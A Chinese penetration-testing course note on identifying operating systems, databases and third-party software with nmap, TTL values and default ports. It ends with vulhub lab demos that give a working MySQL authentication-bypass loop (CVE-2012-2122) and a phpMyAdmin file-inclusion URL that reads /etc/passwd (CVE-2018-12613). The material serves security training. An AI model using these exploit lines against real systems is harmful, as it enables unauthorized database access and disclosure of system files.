小迪安全 Day05基础入门-系统及数据库等
除去前期讲到过的搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方平台等,期中这类攻击也能直接影响到WEB或服务器的安全,导致网站或服务器权限的获取。
操作系统层面:
识别操作系统的常见方法
有网站
- 可以通过网站的手工识别方法判断:
- windows对大小写不敏感,也就是说你在网页中可以替换网站路径的大小写进行测试,如果改变大小写不会影响则可能是Windows的服务器,有影响则可能是Linux。
没网站
- 通过nmap进行扫描:
1
nmap -O IP地址
1
2
3Running (JUST GUESSING): Microsoft Windows 7|2008|Vista|8.1|2012 (96%)
OS CPE: cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 7 SP1 (96%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Server 2008 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%) - 对服务器系统进行了识别,这个判断应该为
Microsoft Windows 7 SP1
- 备注:不是所有的系统都可以用这种方式扫描出操作系统的类型、在windows的一些高版本中无法探测,例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22─# nmap -O 10.1.1.129
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:10 CST
Nmap scan report for 10.1.1.129 (10.1.1.129)
Host is up (0.00053s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:DC:AF:EA (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/7%OT=80%CT=1%CU=36041%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
OS:=60BE1ADE%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%
OS:SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=M5
OS:B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
OS:ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=80%CD=Z)
TTL
不同的操作系统的默认TTL值是不同的, 所以我们可以通过TTL值来判断主机的操作系统,但是当用户修改了TTL值的时候,就会误导我们的判断,所以这种判断方式也不一定准确。下面是默认操作系统的TTL:
- WINDOWS NT/2000 TTL:128
- WINDOWS 95/98 TTL:32
- UNIX TTL:255
- LINUX TTL:64
- WIN7 TTL:64
- 这个TTL=110,接近与128,属于Windows NT/2000
简要两者的区别及识别意义
- 系统文件的路径不同,Windows是分C盘、D盘等,而Linux的盘储存就不一样,等等。
- 已知服务器的操作系统是什么,就可以对症下药有针对性地围绕这个操作系统所支持地方面去发展。
操作系统层面漏洞类型对应意义
- 有些漏洞对于我们来说是没有意义的,只是会造成一些危害,但不会造成权限的丢失,只是影响了产品,没有获取到权限那就没太大意义。
- 不同的漏洞会造成不同漏洞利用的条件
简要操作系统层面漏洞影响范围
- 有些漏洞会对操作系统干扰造成崩溃、而有些系统只是蓝屏、或者是权限的提升
数据库层面:
- 网站分动态网站和静态网站,静态网站由于只是单页,没有数据传递,所以不存在数据库漏洞。
识别数据库类型常见方法
- 默认的语言搭配的数据库
1
2
3
4
51. 组合类型asp + access/mssql
2. 组合类型php + mysql
3. 组合类型aspx+mssql
4. 组合类型jsp +mysql/oracle
5. 组合类型Python + MongoDB - 常见的数据库默认端口号
- 关系型数据库
1
2
3
41. mysql 3306
2. sqlserver 1433
3. oracle 1521
4. psotgresql 5432 - 非关系型数据库
1
2
31. MongoDB 27017
2. Redis 6379
3. memcached 11211 - 3306端口为MySQL数据库
- 其中STATE状态,open表示打开,close是关闭,filtered是拦截,表示nmap无法确定开放状态
数据库类型区别及识别意义
- 数据库的不同表示的结构也是不同、写法结构也不一样、所以产生的漏洞也不一样。
- 不同的数据库的攻击方式也不完全一样。
数据库常见漏洞类型及攻击
- 存在弱口令
- 数据库漏洞
简要数据库层面漏洞影响范围
- 数据库权限
- 网站权限
- 修改网页内容
第三方层面
如何判断有哪些第三方平台或软件
- 通过扫描网站可以看到安装了哪些第三方的软件,例如下面这个就是安装了Apache httpd
1
nmap -O -sV IP地址
简要为什么要识别第三方平台或软件
- 不同的第三方软件或工具存在不同的漏洞、识别到更多的信息对收集到的漏洞也就越多
常见第三方平台或软件漏洞类型及攻击
- 弱口令
- 软件的漏洞攻击
简要第三方平台或软件安全测试的范围
- 直接获取到软件的权限便于进一步的提权和攻击
补充
- 除去常规wEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!
- 要根据它上面提供的服务来选取这个常见的攻击漏洞或者攻击方式
演示案例
演示某数据库弱口令及漏洞演示
Mysql 身份认证绕过漏洞(CVE-2012-2122)
- https://vulhub.org/#/environments/mysql/CVE-2012-2122/
- 首先在Ubuntu搭建漏洞环境
- 在kali当中对这个数据库进行扫描
- 可以看出MySQL版本为5.5.23,存在这个漏洞
1
for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.3.39 2>/dev/null; done
- 就可以直接进入到MySQL的shell
第三方应用安全漏洞演示
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
- https://vulhub.org/#/environments/phpmyadmin/CVE-2018-12613/
- 搭建环境
- 然后访问
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
- 可见
/etc/passwd
被读取,说明文件包含漏洞存在
笔记参考自小迪安全
评论